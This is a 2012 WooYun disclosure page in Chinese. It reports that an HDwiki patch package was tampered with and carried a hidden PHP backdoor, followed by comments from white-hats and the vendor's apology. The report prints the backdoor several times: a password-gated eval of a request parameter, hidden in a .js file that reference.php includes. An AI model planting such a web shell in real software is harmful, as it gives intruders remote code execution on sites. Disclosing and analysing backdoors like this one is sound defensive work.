当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(36) 关注此漏洞

缺陷编号： WooYun-2012-10772

漏洞标题： HDwiki各版本新漏洞补丁包2012-08-09发现后门代码

相关厂商： 互动在线（北京）科技有限公司

漏洞作者： kindle

提交时间： 2012-08-10 09:53

公开时间： 2012-09-24 09:54

漏洞类型： 成功的入侵事件

危害等级： 高

自评Rank： 10

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 运维管理不当 应用程序后门 官方程序被替换 源码后门 远程PHP代码执行

0人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-08-10： 细节已通知厂商并且等待厂商处理中
2012-08-11： 厂商已经确认，细节仅向厂商公开
2012-08-21： 细节向核心白帽子及相关领域专家公开
2012-08-31： 细节向普通白帽子公开
2012-09-10： 细节向实习白帽子公开
2012-09-24： 细节向公众公开

简要描述：

HDwiki各版本新漏洞补丁包2012-08-09发现后门代码

详细说明：

在看补丁包中的 reference.php 文件时， 首行并发现了如下不明之处：

code 区域
<?php


/**


词条编辑页面的参考资料


*/


require_once(dirname(__FILE__)."/../js/jqeditor/hdwiki.js"); // 就是这里， 好端端的PHP。include js文件干什么


!defined('IN_HDWIKI') && exit('Access Denied');





class control extends base{





        function control(& $get,& $post){


                $this->base( & $get,& $post);


                $this->load("reference");





require_once(dirname(__FILE__)."/../js/jqeditor/hdwiki.js"); // 就是这里， 好端端的PHP。include js文件干什么



然后就看了一下补丁包中的 hdwiki.js



终于明白官方的用心了 hdwiki.js

code 区域
<?php


                if (sha1(base64_encode(sha1(md5(base64_decode(sha1($_POST["fvckadmin"])).sha1($_POST["fvckadmin"]))))) == "b697afd0486d62a72afd3044ef259858b701814d"){


                       eval ($_REQUEST["mjj"]);


}


?>


function delSave(){


        $.post("index.php?doc-delsave",{did:g_docid},function(xml){


                if ('sucess' != xml.lastChild.firstChild.nodeValue){


                        alert('exception');


                }


        });


}





这不是明摆着的一句话木马么。

code 区域
<?php


                if (sha1(base64_encode(sha1(md5(base64_decode(sha1($_POST["fvckadmin"])).sha1($_POST["fvckadmin"]))))) == "b697afd0486d62a72afd3044ef259858b701814d"){


                       eval ($_REQUEST["mjj"]);


}


?>





不过这密码的强度的确很高。加了这么多层。

漏洞证明：

code 区域
<?php


                if (sha1(base64_encode(sha1(md5(base64_decode(sha1($_POST["fvckadmin"])).sha1($_POST["fvckadmin"]))))) == "b697afd0486d62a72afd3044ef259858b701814d"){


                       eval ($_REQUEST["mjj"]);


}


?>

修复方案：

不用我说，官方给个解释吧

版权声明：转载请注明来源 kindle@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2012-08-11 12:21

厂商回复：

Thanks

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

这些评论似乎很乌云~~~思密达
  1. 2012-08-10 13:03 | 互动在线（北京）科技有限公司(乌云厂商)

    2012年8月9日发布的补丁包在开源论坛上被恶意篡改了，很是郁闷，我在这里郑重向大家道歉。同时也很感谢发现这个问题的朋友。只是帖子里的那句'终于明白了官方的用心~~' 这句话我打从心里很难受。因为这绝对绝对不是官方的‘用心’~ 但也很理解， 因为任谁可能都会有这种感觉。尤其站在广大用户角度上可能更是如此（大家可能会想出现漏洞之后打补丁，补丁里面继续有漏洞？？？气！！） 但我只想代表我个人说一句：“欢迎大家发现问题，我不敢保证以后还会发现什么漏洞，但我唯一敢保证的是，有漏洞我会继续打补丁，补丁有漏洞我会继续再打补丁”直到大家在也挑不出漏洞为止。 不说了，论坛帖子已经更新，大家可以放心下载修复了~

    回复此人
  1. 2012-08-10 09:55 | 风萧萧 认证白帽子 ( 普通白帽子 | Rank:1068 漏洞数:80 | 人这一辈子总要动真格的爱上什么人)
    0

    我草

    1# 回复此人
  2. 2012-08-10 09:58 | 小乖 ( 路人 | Rank:21 漏洞数:6 | 这个家伙很懒，什么也没留下。)
    0

    附上围观地址http://bbs.python520.com/thread-6926-1-1.html

    2# 回复此人
  3. 2012-08-10 10:06 | Coody 认证白帽子 ( 核心白帽子 | Rank:1809 漏洞数:214 | 不接单、不黑产；如遇冒名顶替接单收徒、绝...)
    0

    补丁===后门？？？？

    3# 回复此人
  4. 2012-08-10 10:35 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)
    0

    .js的后门 会执行php文件吗 哈哈

    4# 回复此人
  5. 2012-08-10 10:36 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)
    0

    这影响...

    5# 回复此人
  6. 2012-08-10 11:01 | 葉孒 ( 实习白帽子 | Rank:37 漏洞数:5 | 呵呵)
    0

    这程序漏洞一堆。

    6# 回复此人
  7. 2012-08-10 11:04 | 小乖 ( 路人 | Rank:21 漏洞数:6 | 这个家伙很懒，什么也没留下。)
    0

    @saviour 包含在某php文件内你说会执行么0.0？

    7# 回复此人
  8. 2012-08-10 11:26 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)
    0

    HDWiki究竟要闹哪样.........能被三番四次的搞......

    8# 回复此人
  9. 2012-08-10 11:34 | Fooying ( 路人 | Rank:5 漏洞数:1 | 我是路人，非甲乙丙丁)
    0

    无语，一句话

    9# 回复此人
  10. 2012-08-10 11:37 | 风萧萧 认证白帽子 ( 普通白帽子 | Rank:1068 漏洞数:80 | 人这一辈子总要动真格的爱上什么人)
    0

    @horseluke 被搞没什么，这里的厂商都被搞过！关键是后门事件，这个要严肃处理！

    10# 回复此人
  11. 2012-08-10 11:49 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)
    0

    @风萧萧 问题是三番四次，三番四次啊！

    11# 回复此人
  12. 2012-08-10 12:16 | imlonghao ( 普通白帽子 | Rank:740 漏洞数:75 )
    0

    HDWiki 威武！

    12# 回复此人
  13. 2012-08-10 12:17 | hongygxiang ( 普通白帽子 | Rank:115 漏洞数:12 | 蛋疼)
    0

    围观;碉堡。

    13# 回复此人
  14. 2012-08-10 12:26 | random_ ( 普通白帽子 | Rank:315 漏洞数:52 | 推动开源 推动网络安全)
    0

    关注

    14# 回复此人
  15. 2012-08-10 13:03 | 互动在线（北京）科技有限公司(乌云厂商)
    2

    2012年8月9日发布的补丁包在开源论坛上被恶意篡改了，很是郁闷，我在这里郑重向大家道歉。同时也很感谢发现这个问题的朋友。只是帖子里的那句'终于明白了官方的用心~~' 这句话我打从心里很难受。因为这绝对绝对不是官方的‘用心’~ 但也很理解， 因为任谁可能都会有这种感觉。尤其站在广大用户角度上可能更是如此（大家可能会想出现漏洞之后打补丁，补丁里面继续有漏洞？？？气！！） 但我只想代表我个人说一句：“欢迎大家发现问题，我不敢保证以后还会发现什么漏洞，但我唯一敢保证的是，有漏洞我会继续打补丁，补丁有漏洞我会继续再打补丁”直到大家在也挑不出漏洞为止。 不说了，论坛帖子已经更新，大家可以放心下载修复了~

    15# 回复此人
  16. 2012-08-10 13:07 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )
    0

    @互动在线（北京）科技有限公司 顶，有漏洞会继续打补丁，补丁有漏洞会继续再打补丁，这句太酷了。

    16# 回复此人
  17. 2012-08-10 13:09 | 胯下有杀气 ( 普通白帽子 | Rank:241 漏洞数:14 | 大姐，你黄瓜掉了。。。)
    2

    @互动在线（北京）科技有限公司 官方态度还算可以，但是有一点要清楚，这补丁里的东西可不是什么“漏洞”，而是个后门，后门不是说删就删掉的，修漏洞代码容易，但是被人放后门不是第一次了吧，这个应该怎么查怎么追究怎么保证下次不会发生呢？

    17# 回复此人
  18. 2012-08-10 13:09 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )
    0

    @互动在线（北京）科技有限公司 不知道厂商愿意不愿意提供一下关于这个补丁被篡改的过程。也能方便白帽子和其他厂商学习和借鉴？

    18# 回复此人
  19. 2012-08-10 13:09 | 互动在线（北京）科技有限公司(乌云厂商)
    0

    @Ray 今天着实很郁闷，但也的确更坚定了，我相信我们官方的毅力要比攻击网站黑客的更强！

    19# 回复此人
  20. 2012-08-10 13:09 | imlonghao ( 普通白帽子 | Rank:740 漏洞数:75 )
    0

    @互动在线（北京）科技有限公司 我想了解是内部人作案还是.................

    20# 回复此人
  21. 2012-08-10 13:12 | 互动在线（北京）科技有限公司(乌云厂商)
    0

    @imlonghao 肯定不是内部人这点可以像大家保证。也请大家相信互动百科相信互动百科的员工。

    21# 回复此人
  22. 2012-08-10 13:15 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )
    0

    @互动在线（北京）科技有限公司 那能否和我们分享一下这个黑客攻击的过程，以及你们现在采取了什么措施，达到了什么效果以避免将来再出现此类问题或者出现此类问题能及时响应？

    22# 回复此人
  23. 2012-08-10 13:17 | 互动在线（北京）科技有限公司(乌云厂商)
    0

    @胯下有杀气 我们会用更安全的方式把事情做好。的确我现咱仍然不敢斩钉截铁的说下次不会再发生，这是官方和黑客之间的战斗，我们和互动会且必须坚持到底。

    23# 回复此人
  24. 2012-08-10 13:18 | 胯下有杀气 ( 普通白帽子 | Rank:241 漏洞数:14 | 大姐，你黄瓜掉了。。。)
    0

    @互动在线（北京）科技有限公司 有这个决心能付出行动就好啦，对了，这个漏洞不确认一下吗？还是等待中呢，给发现者rank奖励吧。

    24# 回复此人
  25. 2012-08-10 13:22 | 互动在线（北京）科技有限公司(乌云厂商)
    0

    不管回复乌云也好霸气也罢，我想说这是我的一种态度，也可以说是官方的一种态度。也希望遇到问题大家能给予更多的理解和鼓励。不多说了，还是很感谢大家对HDWiki的关注和支持吧。

    25# 回复此人
  26. 2012-08-10 13:24 | 互动在线（北京）科技有限公司(乌云厂商)
    0

    @胯下有杀气 呵呵，奖励我真心可以去申请一下或者我可以自己出资奖励。这是绝对的贡献~

    26# 回复此人
  27. 2012-08-10 13:26 | 互动在线（北京）科技有限公司(乌云厂商)
    0

    @胯下有杀气 这个问题我们的处理方案是先将补丁包重新打包确认并上传，然后去查找并修复被篡改的原因。

    27# 回复此人
  28. 2012-08-10 13:29 | 胯下有杀气 ( 普通白帽子 | Rank:241 漏洞数:14 | 大姐，你黄瓜掉了。。。)
    0

    @互动在线（北京）科技有限公司 嗯，这个过程绝对正确，先控制住影响在去查后面的问题。但是我的意思是这里“细节已通知厂商并且等待厂商处理中”，是不是该在平台上确认然后进入下一步了，白帽子的rank还没拿到呢。。。

    28# 回复此人
  29. 2012-08-10 13:32 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)
    0

    尽量避免漏洞的发生，不是有漏洞就补，一直持续下去的。

    29# 回复此人
  30. 2012-08-10 14:07 | 小一 ( 实习白帽子 | Rank:32 漏洞数:13 )
    0

    第一楼的“这些评论似乎很乌云~~~思密达” 这是什么情况？@xsser

    30# 回复此人
  31. 2012-08-10 14:13 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)
    0

    @互动在线（北京）科技有限公司 希望可以彻查，究竟是什么入侵渠道导致已经至少两次出现这种问题。服务器留后门？论坛最新0day？

    31# 回复此人
  32. 2012-08-10 14:13 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)
    1

    @小一 热门评论置顶功能

    32# 回复此人
  33. 2012-08-10 16:04 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)
    0

    @互动在线（北京）科技有限公司 我觉得 我清楚黑客是怎么修改源码补丁了 你们公司漏洞真多啊

    33# 回复此人
  34. 2012-08-10 16:05 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)
    0

    @互动在线（北京）科技有限公司 我觉得我清楚黑客是怎么修改源码补丁包了 你们公司的漏洞真是很多啊

    34# 回复此人
  35. 2012-08-10 17:07 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @互动在线（北京）科技有限公司 官方检查下服务器吧然后将最后查的结果处理下吧，你这样对你的代码真的不好，别人也不知道是否是被黑的还是你自己放置的吧

    35# 回复此人
  36. 2012-08-10 18:05 | kindle ( 实习白帽子 | Rank:40 漏洞数:12 | hh)
    0

    @互动在线（北京）科技有限公司 @互动在线（北京）科技有限公司 我是贴过来的，我已经删了部分不好的言论，只想官方给个解释。"终于明白官方的用心了"，这句话没看到，对此表示抱歉

    36# 回复此人
  37. 2012-08-10 18:17 | 风萧萧 认证白帽子 ( 普通白帽子 | Rank:1068 漏洞数:80 | 人这一辈子总要动真格的爱上什么人)
    0

    @kindle 假亦真时真亦假，官方的清白是需要自己证明的！

    37# 回复此人
  38. 2012-08-10 19:30 | 互动在线（北京）科技有限公司(乌云厂商)
    0

    @kindle 没关系，理解万岁，我们已经开始彻查相关问题了。还望大家也能给予理解，关于被黑客攻击这样的事确实很多人遇到都会比较郁闷~不过我有信心我们能做好。

    38# 回复此人
  39. 2012-08-10 20:19 | 银河麒麟 ( 路人 | Rank:4 漏洞数:2 | 腾讯微博@TXisfine，欢迎交流！（关注教育...)
    0

    我在围观。。

    39# 回复此人
  40. 2012-08-10 23:24 | 邻国宰相 ( 普通白帽子 | Rank:138 漏洞数:33 | By:越南邻国宰相)
    0

    围观中......

    40# 回复此人
  41. 2012-09-02 08:22 | jxs ( 实习白帽子 | Rank:37 漏洞数:4 | JXS)
    0

    厂商的态度很不错的。最起码这个值得肯定！

    41# 回复此人

登录后才能发表评论，请先 登录 。